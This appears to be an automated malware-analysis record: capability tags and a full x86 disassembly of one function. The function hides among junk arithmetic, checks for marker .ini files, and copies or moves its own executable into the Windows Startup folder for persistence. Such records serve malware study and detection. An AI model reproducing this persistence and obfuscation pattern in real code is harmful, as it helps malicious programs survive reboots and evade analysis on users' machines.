Function at 0x40e830
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x30c
mov eax, dword [0x460640]
xor eax, esp
mov dword [esp + 0x308], eax
push ebx
push ebp
push esi
push edi
mov ebx, dword [0x45ebd0]
mov esi, dword [0x45ebc4]
mov eax, 0x7a5789fb
imul ebx
mov eax, dword [0x45ebc8]
imul eax, eax, 0x965d2c
sar edx, 0x16
mov ebp, edx
mov ecx, esi
imul ecx, ecx, 0x74cc7d
shr ebp, 0x1f
add ebp, edx
add ebp, eax
add ebp, ecx
mov ecx, dword [0x45ebcc]
mov eax, 0xef8db9b
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov edx, ecx
imul edx, edx, 0xa6969a
add ebp, edx
mov edi, dword [0x45ebe4]
mov eax, 0xa16eca11
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add ebp, edx
add eax, ebp
mov dword [0x45ebdc], eax
mov eax, 0x7a5789fb
imul edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc83bcf21
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x312cd50d
imul ebx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebd4]
sub esi, edi
imul edx, edx, 0xf02e46
sub esi, eax
mov eax, dword [0x45ebd8]
imul eax, eax, 0x657dbd
add esi, edx
sub esi, eax
mov eax, 0xa16eca11
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov dword [0x45ebe4], ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
call fcn.0043221d
add esp, 8
cmp eax, 0xffffffff
je 0x40ee57
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.0043221d
add esp, 8
cmp eax, 0xffffffff
je 0x40ee57
mov ecx, dword [0x45ebdc]
mov eax, 0x6cf6585f
imul ecx
mov ecx, dword [0x45ebe4]
sar edx, 0x16
mov esi, edx
shr esi, 0x1f
add esi, edx
mov edx, dword [0x45ebd8]
imul edx, edx, 0x74cc7d
add esi, edx
mov eax, 0x8c4682e9
imul ecx
add edx, ecx
mov ecx, dword [0x45ebe0]
sar edx, 0x16
add esi, edx
mov edi, edx
mov eax, 0xef8db9b
imul ecx
imul ecx, ecx, 0xe3db2
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45ebd0]
sub edi, eax
mov eax, 0xc4d1d103
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
sub eax, ecx
push 0x104
lea ecx, [esp + 0x21c]
push ecx
push 0
mov dword [0x45ebc8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.00432c80
mov esi, eax
push str..exe
lea eax, [esp + 0x224]
push eax
lea ecx, [esp + 0x28]
push str._s_s
push ecx
inc esi
call fcn.00431e81
mov ecx, dword [0x45ebe8]
mov ebx, dword [0x45ebc4]
mov edi, dword [0x45ebd0]
imul ebx, ebx, 0xff7a148d
mov eax, 0x7a5789fb
imul ecx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xc83bcf21
imul edi
add edx, edi
mov edi, dword [0x45ebd8]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x8c4682e9
imul edi
add esp, 0x18
add edx, edi
mov edi, dword [0x45ebe0]
imul ecx, ecx, 0x450d9b
sar edx, 0x16
mov eax, edx
add ebx, edx
mov edx, dword [0x45ebe4]
imul edx, edx, 0x88c9aa
shr eax, 0x1f
add eax, ebx
add edx, edi
push 0
add edx, eax
lea eax, [ecx + edx - 0x74cc7d]
push 0x18
lea ecx, [esp + 0x120]
push ecx
push 0
mov dword [0x45ebd0], eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x118]
lea ecx, [eax + 1]
lea ebx, [ebx]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40ead0
sub eax, ecx
push esi
lea edx, [esp + eax + 0x11c]
push 0x44f274
push edx
call fcn.00431e81
mov ebx, dword [0x45ebe8]
mov eax, 0xc4d1d103
imul ebx
add edx, ebx
sar edx, 0x16
mov edi, dword [0x45ebcc]
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, ebx
imul ecx, ecx, 0x74cc7d
mov esi, eax
sub esi, ecx
mov ecx, dword [0x45ebe0]
mov eax, 0x886e3a8d
imul ecx
add edx, ecx
sar edx, 0x16
mov ebp, edx
add esi, edx
mov ecx, edi
imul ecx, ecx, 0x781723
shr ebp, 0x1f
add ebp, esi
mov esi, dword [0x45ebc8]
sub ebp, ecx
mov ecx, dword [0x45ebc4]
mov eax, 0x76a21d75
imul ecx
sar edx, 0x15
add ebp, edx
mov ecx, edx
mov eax, 0xa16eca11
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x657dbd
shr ecx, 0x1f
add ecx, ebp
sub ecx, eax
add esp, 0xc
add ecx, edx
mov dword [0x45ebd8], ecx
mov dword [esp + 0x10], 0
jmp 0x40ebb0
mov esi, dword [0x45ebc8]
mov edi, dword [0x45ebcc]
mov ecx, dword [0x45ebd8]
mov ebx, dword [0x45ebe8]
jmp 0x40ebb0
mov ebp, dword [0x45ebd0]
imul ecx, ecx, 0x965d2c
imul edi, edi, 0x74cc7d
mov edx, dword [0x45ebd4]
imul esi, esi, 0x450d9b
mov eax, ebp
sub eax, edx
imul eax, eax, 0x51d30d
add eax, ecx
mov ecx, eax
mov eax, 0xc83bcf21
imul ebp
add edx, ebp
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x312cd50d
imul ebx
sar edx, 0x14
sub ecx, edi
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
lea ecx, [esp + 0x18]
add eax, esi
push 0
push ecx
mov dword [0x45ebe0], eax
call fcn.0043221d
add esp, 8
cmp eax, 0xffffffff
je 0x40ec3e
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x64
mov dword [esp + 0x10], eax
jl 0x40eb8d
mov esi, dword [0x45ebd8]
mov eax, dword [0x45ebd0]
mov edi, dword [0x45ebd4]
lea ebp, [esi + eax]
mov eax, 0x6cf6585f
imul ebp, ebp, 0x533e66
imul esi
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, edi
imul edx, edx, 0x74cc7d
sub ebp, ecx
mov ecx, dword [0x45ebdc]
sub ebp, edx
mov eax, 0x886e3a8d
imul ecx
mov ebx, dword [0x45ebc8]
add edx, ecx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x657dbd
sub ebp, eax
add ebp, edx
mov eax, 0xa16eca11
imul ebx
add edx, ebx
sar edx, 0x16
mov eax, edx
add ebp, edx
shr eax, 0x1f
add eax, ebp
mov ebp, dword [esp + 0x320]
test ebp, ebp
mov dword [0x45ebe8], eax
je 0x40ecce
cmp ebp, 2
jne 0x40ed9e
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x11c]
push ecx
lea edx, [esp + 0x20]
push edx
call esi
test eax, eax
jne 0x40ed86
mov ecx, dword [0x45ebd8]
mov eax, 0x7a5789fb
imul ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x16
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x7a5789fb
imul ecx
mov eax, dword [0x45ebdc]
mov ecx, dword [0x45ebd4]
imul eax, eax, 0xcdd745
sar edx, 0x16
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, eax
mov eax, 0x312cd50d
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebe0]
imul edx, edx, 0x533e66
sub ebx, eax
sub ebx, edx
mov eax, 0xa16eca11
imul ecx
add edx, ecx
sar edx, 0x16
mov eax, edx
push 6
add ebx, edx
lea ecx, [esp + 0x11c]
shr eax, 0x1f
push ecx
lea edx, [esp + 0x20]
add eax, ebx
push edx
mov dword [0x45ebc4], eax
call esi
mov eax, 0xfffffffe
jmp 0x40ee5a
mov ecx, dword [0x45ebdc]
mov ebx, dword [0x45ebc8]
mov edi, dword [0x45ebd4]
mov esi, dword [0x45ebd8]
mov eax, 0x7a5789fb
imul esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x7a5789fb
imul ebx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xc83bcf21
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
sub ebx, esi
add ebx, edx
mov eax, 0x8c4682e9
imul edi
add edx, edi
shr ecx, 0x1f
sar edx, 0x16
add ecx, ebx
add ecx, edx
mov esi, edx
shr esi, 0x1f
add esi, ecx
mov ecx, dword [0x45ebe0]
mov eax, 0x312cd50d
imul ecx
sar edx, 0x14
add esi, edx
mov ecx, edx
mov eax, 0xef8db9b
imul dword [0x45ebd0]
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebc4]
imul edx, edx, 0x450d9b
shr ecx, 0x1f
add ecx, esi
sub ecx, eax
add ecx, edx
cmp ebp, 1
mov dword [0x45ebcc], ecx
je 0x40ee3e
cmp ebp, 2
jne 0x40ee53
push 0
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40ee5a
or eax, 0xffffffff
mov ecx, dword [esp + 0x318]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00431cad
add esp, 0x30c
ret